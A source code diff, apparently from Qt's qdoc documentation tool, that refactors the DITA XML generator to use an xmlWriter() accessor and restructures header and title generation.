Atom::CodeNew: - writer.writeStartElement("p"); - writer.writeCharacters("you can rewrite it as"); - writer.writeEndElement(); //

    - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("you can rewrite it as"); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(trimmedTrailing(atom->string()), marker, relative); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeOld: - writer.writeStartElement("p"); - writer.writeCharacters("For example, if you have code like"); - writer.writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("For example, if you have code like"); + xmlWriter().writeEndElement(); //

    // fallthrough case Atom::CodeBad: - writer.writeStartElement("pre"); - writer.writeAttribute("outputclass","highlightedcode"); - writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); - writer.writeEndElement(); // + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); + xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: // ### For now if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } - writer.writeCharacters(""); + xmlWriter().writeCharacters("-->"); break; case Atom::FormatElse: case Atom::FormatEndif: case Atom::FormatIf: break; case Atom::FormattingLeft: - writer.writeStartElement(formattingLeftMap()[atom->string()]); + xmlWriter().writeStartElement(formattingLeftMap()[atom->string()]); if (atom->string() == ATOM_FORMATTING_PARAMETER) { if (atom->next() != 0 && atom->next()->type() == Atom::String) { QRegExp subscriptRegExp("([a-z]+)_([0-9n])"); if (subscriptRegExp.exactMatch(atom->next()->string())) { - writer.writeCharacters(subscriptRegExp.cap(1)); - writer.writeStartElement("sub"); - writer.writeCharacters(subscriptRegExp.cap(2)); - writer.writeEndElement(); // + xmlWriter().writeCharacters(subscriptRegExp.cap(1)); + xmlWriter().writeStartElement("sub"); + xmlWriter().writeCharacters(subscriptRegExp.cap(2)); + xmlWriter().writeEndElement(); // skipAhead = 1; } } @@ -722,7 +722,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, endLink(); } else { - writer.writeEndElement(); // ? + xmlWriter().writeEndElement(); // ? } break; case Atom::AnnotatedList: @@ -924,7 +924,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, /* First generate the table of contents. */ - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { @@ -933,17 +933,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } ++s; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // int idx = 0; s = sections.constBegin(); while (s != sections.constEnd()) { if (!(*s).members.isEmpty()) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle((*s).name)); - writer.writeAttribute("outputclass","h3"); - writer.writeCharacters(protectEnc((*s).name)); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); //

    if (idx == Class) generateCompactList(0, marker, ncmap.value(), false, QString("Q")); else if (idx == QmlClass) @@ -963,23 +963,24 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, pmap = parentmaps.begin(); while (pmap != parentmaps.end()) { NodeList nlist = pmap->values(); - writer.writeStartElement("p"); - writer.writeCharacters("Class "); - writer.writeStartElement("xref"); - writer.writeAttribute("href",linkForNode(pmap.key(), 0)); + xmlWriter().writeStartElement("p"); + xmlWriter().writeCharacters("Class "); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",linkForNode(pmap.key(), 0)); QStringList pieces = fullName(pmap.key(), 0, marker).split("::"); - writer.writeCharacters(protectEnc(pieces.last())); - writer.writeEndElement(); // - writer.writeCharacters(":"); - writer.writeEndElement(); //

    + xmlWriter().writeCharacters(protectEnc(pieces.last())); + xmlWriter().writeEndElement(); // + xmlWriter().writeCharacters(":"); + xmlWriter().writeEndElement(); //

    generateSection(nlist, 0, marker, CodeMarker::Summary); - writer.writeEmptyElement("br"); + xmlWriter().writeEmptyElement("br"); ++pmap; } } - else + else { generateSection(s->members, 0, marker, CodeMarker::Summary); + } } ++idx; ++s; @@ -995,39 +996,39 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (atom->type() == Atom::Image) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","centerAlign"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","centerAlign"); } if (fileName.isEmpty()) { - writer.writeStartElement("font"); - writer.writeAttribute("color","red"); - writer.writeCharacters("[Missing image: "); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("font"); + xmlWriter().writeAttribute("color","red"); + xmlWriter().writeCharacters("[Missing image: "); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement("img"); - writer.writeAttribute("src",protectEnc(fileName)); + xmlWriter().writeStartElement("img"); + xmlWriter().writeAttribute("src",protectEnc(fileName)); if (!text.isEmpty()) - writer.writeAttribute("alt",protectEnc(text)); - writer.writeEndElement(); // + xmlWriter().writeAttribute("alt",protectEnc(text)); + xmlWriter().writeEndElement(); // } if (atom->type() == Atom::Image) - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    } break; case Atom::ImageText: // nothing break; case Atom::LegaleseLeft: - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","legalese"); + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","legalese"); break; case Atom::LegaleseRight: - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    break; case Atom::LineBreak: - writer.writeEmptyElement("br"); + xmlWriter().writeEmptyElement("br"); break; case Atom::Link: { @@ -1051,64 +1052,64 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ListLeft: if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } if (atom->string() == ATOM_LIST_BULLET) { - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dl"); + xmlWriter().writeStartElement("dl"); } else if (atom->string() == ATOM_LIST_VALUE) { threeColumnEnumValueTable = isThreeColumnEnumValueTable(atom); if (threeColumnEnumValueTable) { - writer.writeStartElement("simpletable"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("sthead"); + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd"); + xmlWriter().writeAttribute("outputclass","odd"); else - writer.writeAttribute("outputclass","even"); - writer.writeStartElement("stentry"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Description"); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeAttribute("outputclass","even"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Description"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement("simpletable"); - writer.writeAttribute("outputclass","valuelist"); - writer.writeStartElement("sthead"); - writer.writeStartElement("stentry"); - writer.writeCharacters("Constant"); - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeCharacters("Value"); - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeStartElement("simpletable"); + xmlWriter().writeAttribute("outputclass","valuelist"); + xmlWriter().writeStartElement("sthead"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Constant"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeCharacters("Value"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } else { - writer.writeStartElement("ol"); + xmlWriter().writeStartElement("ol"); if (atom->string() == ATOM_LIST_UPPERALPHA) - writer.writeAttribute("outputclass","upperalpha"); + xmlWriter().writeAttribute("outputclass","upperalpha"); else if (atom->string() == ATOM_LIST_LOWERALPHA) - writer.writeAttribute("outputclass","loweralpha"); + xmlWriter().writeAttribute("outputclass","loweralpha"); else if (atom->string() == ATOM_LIST_UPPERROMAN) - writer.writeAttribute("outputclass","upperroman"); + xmlWriter().writeAttribute("outputclass","upperroman"); else if (atom->string() == ATOM_LIST_LOWERROMAN) - writer.writeAttribute("outputclass","lowerroman"); + xmlWriter().writeAttribute("outputclass","lowerroman"); else // (atom->string() == ATOM_LIST_NUMERIC) - writer.writeAttribute("outputclass","numeric"); + xmlWriter().writeAttribute("outputclass","numeric"); if (atom->next() != 0 && atom->next()->string().toInt() != 1) { // I don't think this attribute is supported. - writer.writeAttribute("start",atom->next()->string()); + xmlWriter().writeAttribute("start",atom->next()->string()); } } break; @@ -1117,19 +1118,19 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::ListTagLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dt"); + xmlWriter().writeStartElement("dt"); } else { // (atom->string() == ATOM_LIST_VALUE) - writer.writeStartElement("strow"); - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), + xmlWriter().writeStartElement("strow"); + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(protectEnc(plainCode(marker->markedUpEnumValue(atom->next()->string(), relative)))); - writer.writeEndElement(); //
    - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); QString itemValue; if (relative->type() == Node::Enum) { @@ -1138,105 +1139,105 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (itemValue.isEmpty()) - writer.writeCharacters("?"); + xmlWriter().writeCharacters("?"); else { - writer.writeStartElement("tt"); - writer.writeCharacters(protectEnc(itemValue)); - writer.writeEndElement(); // + xmlWriter().writeStartElement("tt"); + xmlWriter().writeCharacters(protectEnc(itemValue)); + xmlWriter().writeEndElement(); // } skipAhead = 1; } break; case Atom::ListTagRight: if (atom->string() == ATOM_LIST_TAG) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::ListItemLeft: if (atom->string() == ATOM_LIST_TAG) { - writer.writeStartElement("dd"); + xmlWriter().writeStartElement("dd"); } else if (atom->string() == ATOM_LIST_VALUE) { if (threeColumnEnumValueTable) { - writer.writeEndElement(); // - writer.writeStartElement("stentry"); - writer.writeAttribute("outputclass","topAlign"); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("stentry"); + xmlWriter().writeAttribute("outputclass","topAlign"); if (matchAhead(atom, Atom::ListItemRight)) - writer.writeCharacters(" "); + xmlWriter().writeCharacters(" "); } } else { - writer.writeStartElement("li"); + xmlWriter().writeStartElement("li"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; break; case Atom::ListItemRight: if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::ListRight: if (atom->string() == ATOM_LIST_BULLET) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_TAG) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (atom->string() == ATOM_LIST_VALUE) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::Nop: // nothing break; case Atom::ParaLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); in_para = true; break; case Atom::ParaRight: endLink(); if (in_para) { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::RawString: - writer.writeCharacters(atom->string()); + xmlWriter().writeCharacters(atom->string()); break; case Atom::SectionLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(protectEnc(Text::sectionHeading(atom).toString())); + xmlWriter().writeEndElement(); //

    break; case Atom::SectionRight: // nothing break; case Atom::SectionHeadingLeft: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); hx = "h" + QString::number(atom->string().toInt() + hOffset(relative)); - writer.writeAttribute("outputclass",hx); + xmlWriter().writeAttribute("outputclass",hx); inSectionHeading = true; break; case Atom::SectionHeadingRight: - writer.writeEndElement(); //

    (see case Atom::SectionHeadingLeft) + xmlWriter().writeEndElement(); //

    (see case Atom::SectionHeadingLeft) inSectionHeading = false; break; case Atom::SidebarLeft: @@ -1250,17 +1251,17 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, generateLink(atom, relative, marker); } else { - writer.writeCharacters(protectEnc(atom->string())); + xmlWriter().writeCharacters(protectEnc(atom->string())); } break; case Atom::TableLeft: { if (in_para) { - writer.writeEndElement(); //

    + xmlWriter().writeEndElement(); //

    in_para = false; } - writer.writeStartElement("table"); - writer.writeAttribute("outputclass","generic"); + xmlWriter().writeStartElement("table"); + xmlWriter().writeAttribute("outputclass","generic"); numTableRows = 0; if (tableColumnCount != 0) { qDebug() << "ERROR: Nested tables!"; @@ -1274,62 +1275,62 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, ++tableColumnCount; t = t->next(); } - writer.writeStartElement("tgroup"); - writer.writeAttribute("cols",QString::number(tableColumnCount)); + xmlWriter().writeStartElement("tgroup"); + xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); } break; case Atom::TableRight: - writer.writeEndElement(); // - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // tableColumnCount = 0; break; case Atom::TableHeaderLeft: - writer.writeStartElement("thead"); - writer.writeStartElement("row"); - writer.writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeStartElement("thead"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("outputclass","qt-style topAlign"); inTableHeader = true; inTableBody = false; break; case Atom::TableHeaderRight: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; - writer.writeStartElement("row"); - writer.writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("outputclass","qt-style topAlign"); } else { - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // inTableHeader = false; inTableBody = true; - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("tbody"); } break; case Atom::TableRowLeft: if (!inTableHeader && !inTableBody) { inTableBody = true; - writer.writeStartElement("tbody"); + xmlWriter().writeStartElement("tbody"); } - writer.writeStartElement("row"); + xmlWriter().writeStartElement("row"); if (++numTableRows % 2 == 1) - writer.writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd topAlign"); else - writer.writeAttribute("outputclass","even topAlign"); + xmlWriter().writeAttribute("outputclass","even topAlign"); break; case Atom::TableRowRight: - writer.writeEndElement(); // \n"; + xmlWriter().writeEndElement(); // \n"; break; case Atom::TableItemLeft: { if (inTableHeader) - writer.writeStartElement("entry"); + xmlWriter().writeStartElement("entry"); else - writer.writeStartElement("entry"); + xmlWriter().writeStartElement("entry"); QStringList spans = atom->string().split(","); if (spans.size() == 2) { if (!inTableHeader) - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1337,10 +1338,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::TableItemRight: if (inTableHeader) - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // else { - writer.writeEndElement(); //

    - writer.writeEndElement(); // + xmlWriter().writeEndElement(); //

    + xmlWriter().writeEndElement(); // } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1375,23 +1376,23 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::Target: - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(Doc::canonicalTitle(atom->string())); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); //

    break; case Atom::UnhandledFormat: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont"); - writer.writeCharacters("<Missing DITAXML>"); - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","redFont"); + xmlWriter().writeCharacters("<Missing DITAXML>"); + xmlWriter().writeEndElement(); // break; case Atom::UnknownCommand: - writer.writeStartElement("b"); - writer.writeAttribute("outputclass","redFont code"); - writer.writeCharacters(protectEnc(atom->string())); - writer.writeEndElement(); // + xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","redFont code"); + xmlWriter().writeCharacters(protectEnc(atom->string())); + xmlWriter().writeEndElement(); // break; case Atom::QmlText: case Atom::EndQmlText: @@ -1433,51 +1434,44 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark fullTitle = marker->plainFullName(inner); title = rawTitle + " Class Reference"; - generateHeader(inner); - - writer.writeStartElement(CXXCLASS); - writer.writeAttribute("id",cn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // - + generateHeader(inner, fullTitle); generateBrief(inner, marker); // // not included: - writer.writeStartElement(CXXCLASSDETAIL); - writer.writeStartElement(CXXCLASSDEFINITION); - writer.writeStartElement(CXXCLASSACCESSSPECIFIER); - writer.writeAttribute("value",inner->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + xmlWriter().writeStartElement(CXXCLASSACCESSSPECIFIER); + xmlWriter().writeAttribute("value",inner->accessString()); + xmlWriter().writeEndElement(); // if (cn->isAbstract()) { - writer.writeStartElement(CXXCLASSABSTRACT); - writer.writeAttribute("name","abstract"); - writer.writeAttribute("value","abstract"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXCLASSABSTRACT); + xmlWriter().writeAttribute("name","abstract"); + xmlWriter().writeAttribute("value","abstract"); + xmlWriter().writeEndElement(); // } writeDerivations(cn, marker); // // not included: writeLocation(cn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!inner->doc().isEmpty()) { - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","h2"); - writer.writeCharacters("Detailed Description"); - writer.writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters("Detailed Description"); + xmlWriter().writeEndElement(); //

    generateBody(inner, marker); // generateAlsoList(inner, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: // not included: @@ -1506,7 +1500,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -1518,15 +1512,15 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, const QString& header, const QString& attribute) { - writer.writeStartElement("p"); + xmlWriter().writeStartElement("p"); writeGuidAttribute(registerRef(target)); - writer.writeAttribute("outputclass","target"); - writer.writeCharacters(header); - writer.writeEndElement(); //

    - writer.writeStartElement("p"); - writer.writeAttribute("outputclass",attribute); - writer.writeCharacters(header); - writer.writeEndElement(); //

    + xmlWriter().writeAttribute("outputclass","target"); + xmlWriter().writeCharacters(header); + xmlWriter().writeEndElement(); //

    + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass",attribute); + xmlWriter().writeCharacters(header); + xmlWriter().writeEndElement(); //

    } /*! @@ -1534,12 +1528,15 @@ void DitaXmlGenerator::writeTargetAndHeader(const QString& target, */ void DitaXmlGenerator::writeXrefListItem(const QString& link, const QString& text) { - writer.writeStartElement("li"); - writer.writeStartElement("xref"); - writer.writeAttribute("href",link); - writer.writeCharacters(text); - writer.writeEndElement(); // - writer.writeEndElement(); // + qDebug() << "WXLI 1" << link; + xmlWriter().writeStartElement("li"); + xmlWriter().writeStartElement("xref"); + xmlWriter().writeAttribute("href",link); + qDebug() << "WXLI 2"; + xmlWriter().writeCharacters(text); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + qDebug() << "WXLI 3"; } /*! @@ -1554,12 +1551,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker QString fullTitle = fake->fullTitle(); QString htmlTitle = fullTitle; - /* - NOTE: For now we only handle \page elements. - */ - //if (fake->subType() != Node::Page) - //return; - if (fake->subType() == Node::File && !fake->subTitle().isEmpty()) { subTitleSize = SmallSubTitle; htmlTitle += " (" + fake->subTitle() + ")"; @@ -1569,47 +1560,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker htmlTitle = fullTitle; } - QString outputclass; - switch (fake->subType()) { - case Node::Page: - outputclass = "page"; - break; - case Node::Group: - outputclass = "group"; - break; - case Node::Example: - outputclass = "example"; - break; - case Node::HeaderFile: - outputclass = "header"; - break; - case Node::File: - outputclass = "file"; - break; - case Node::Image: - outputclass = "image"; - break; - case Node::Module: - outputclass = "module"; - break; - case Node::ExternalPage: - outputclass = "externalpage"; - break; - case Node::QmlClass: - outputclass = "QML"; - break; - default: - return; - } - - generateHeader(fake); - - writer.writeStartElement("topic"); - writer.writeAttribute("id",fake->guid()); - writer.writeAttribute("outputclass",outputclass); - writer.writeStartElement("title"); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // + generateHeader(fake, fullTitle); generateBrief(fake, marker); // if (fake->subType() == Node::Module) { @@ -1625,7 +1576,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker } else if (fake->subType() == Node::HeaderFile) { generateStatus(fake, marker); - writer.writeStartElement("ul"); + xmlWriter().writeStartElement("ul"); QString membersLink = generateListOfAllMemberFile(fake, marker); if (!membersLink.isEmpty()) { @@ -1646,11 +1597,11 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker writeXrefListItem(compatLink,"Qt 3 support members"); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } if (!fake->doc().isEmpty()) { - writer.writeStartElement("body"); + xmlWriter().writeStartElement("body"); if (fake->subType() == Node::Module) { writeTargetAndHeader("details","Detailed Description","h2"); } @@ -1666,9 +1617,9 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker generateAnnotatedList(fake, marker, groupMembersMap); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } #if 0 @@ -1732,7 +1683,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker while (s != sections.end()) { out() << "\n"; out() << "

    " << protectEnc((*s).name) << "

    \n"; - generateSectionList(*s, fake, marker, CodeMarker::Summary); + generateSection(s->members, fake, marker, CodeMarker::Summary); + generateSectionInheritedList(*s, relative, marker, name_alignment); ++s; } @@ -1862,52 +1814,77 @@ void DitaXmlGenerator::generateBreadCrumbs(const QString& title, \note This does not cover all cases yet. */ -void DitaXmlGenerator::generateHeader(const Node* node) +void DitaXmlGenerator::generateHeader(const Node* node, const QString& name) { - writer.setDevice(out().device()); - writer.setAutoFormatting(true); - writer.setAutoFormattingIndent(4); - writer.writeStartDocument(); - if (!node) return; QString doctype; - QString element; + QString mainElement; + QString nameElement; QString dtd; QString base; QString version; + QString outputclass; + if (node->type() == Node::Class) { - element = "cxxClass"; + mainElement = "cxxClass"; + nameElement = "apiName"; dtd = "dtd/cxxClass.dtd"; version = "0.6.0"; - doctype = ""; } else if (node->type() == Node::Fake) { + mainElement = "topic"; + nameElement = "title"; + dtd = "dtd/topic.dtd"; + doctype = ""; switch (node->subType()) { case Node::Page: + outputclass = "page"; + break; case Node::Group: + outputclass = "group"; + break; case Node::Example: + outputclass = "example"; + break; case Node::HeaderFile: + outputclass = "header"; + break; case Node::File: + outputclass = "file"; + break; case Node::Image: + outputclass = "image"; + break; case Node::Module: + outputclass = "module"; + break; case Node::ExternalPage: + outputclass = "externalpage"; + break; case Node::QmlClass: - element = "topic"; - dtd = "dtd/topic.dtd"; - doctype = ""; + outputclass = "QML"; break; default: - break; + outputclass = "page"; } } - writer.writeDTD(doctype); - writer.writeComment(node->doc().location().fileName()); + xmlWriter().writeDTD(doctype); + xmlWriter().writeComment(node->doc().location().fileName()); + + xmlWriter().writeStartElement(mainElement); + xmlWriter().writeAttribute("id",node->guid()); + if (!outputclass.isEmpty()) + xmlWriter().writeAttribute("outputclass",outputclass); + xmlWriter().writeStartElement(nameElement); + xmlWriter().writeCharacters(name); + xmlWriter().writeEndElement(); // } void DitaXmlGenerator::generateTitle(const QString& title, @@ -1916,16 +1893,22 @@ void DitaXmlGenerator::generateTitle(const QString& title, const Node *relative, CodeMarker *marker) { - if (!title.isEmpty()) - out() << "

    " << protectEnc(title) << "

    \n"; + if (!title.isEmpty()) { + xmlWriter().writeStartElement("p"); + xmlWriter().writeAttribute("outputclass", "h1 title"); + xmlWriter().writeCharacters(protectEnc(title)); + xmlWriter().writeEndElement(); //

    + } if (!subTitle.isEmpty()) { - out() << ""; - else - out() << " class=\"subtitle\">"; + xmlWriter().writeStartElement("p"); + if (subTitleSize == SmallSubTitle) { + xmlWriter().writeAttribute("outputclass", "small-subtitle"); + } + else { + xmlWriter().writeAttribute("outputclass", "subtitle"); + } generateText(subTitle, relative, marker); - out() << "\n"; + xmlWriter().writeEndElement(); //

    } } @@ -1937,9 +1920,9 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) Text brief = node->doc().briefText(); if (!brief.isEmpty()) { ++noLinks; - writer.writeStartElement(SHORTDESC); + xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); - writer.writeEndElement(); // shortdesc + xmlWriter().writeEndElement(); // shortdesc --noLinks; } } @@ -1947,10 +1930,10 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode *inner, CodeMarker *marker) { if (!inner->includes().isEmpty()) { - writer.writeStartElement("pree"); - writer.writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("pree"); + xmlWriter().writeAttribute("outputclass","highlightedcode"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -2154,8 +2137,8 @@ void DitaXmlGenerator::generateTableOfContents(const Node *node, inLink = false; } -QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, - CodeMarker *marker) +QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, + CodeMarker* marker) { QList
    sections; QList
    ::ConstIterator s; @@ -2169,26 +2152,25 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode *inner, QString fileName = fileBase(inner) + "-members." + fileExtension(inner); beginSubPage(inner->location(), fileName); QString title = "List of All Members for " + inner->name(); - generateHeader(inner); + generateHeader(inner, title); + xmlWriter().writeStartElement("body"); generateTitle(title, Text(), SmallSubTitle, inner, marker); out() << "

    This is the complete list of members for "; generateFullName(inner, 0, marker); out() << ", including inherited members.

    \n"; Section section = sections.first(); - generateSectionList(section, 0, marker, CodeMarker::SeparateList); - + generateSection(section.members, 0, marker, CodeMarker::SeparateList); + xmlWriter().writeEndElement(); // endSubPage(); return fileName; } QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, - CodeMarker* marker, - CodeMarker::Status status) + CodeMarker* marker, + CodeMarker::Status status) { - QList
    sections = marker->sections(inner, - CodeMarker::Summary, - status); + QList
    sections = marker->sections(inner,CodeMarker::Summary,status); QMutableListIterator
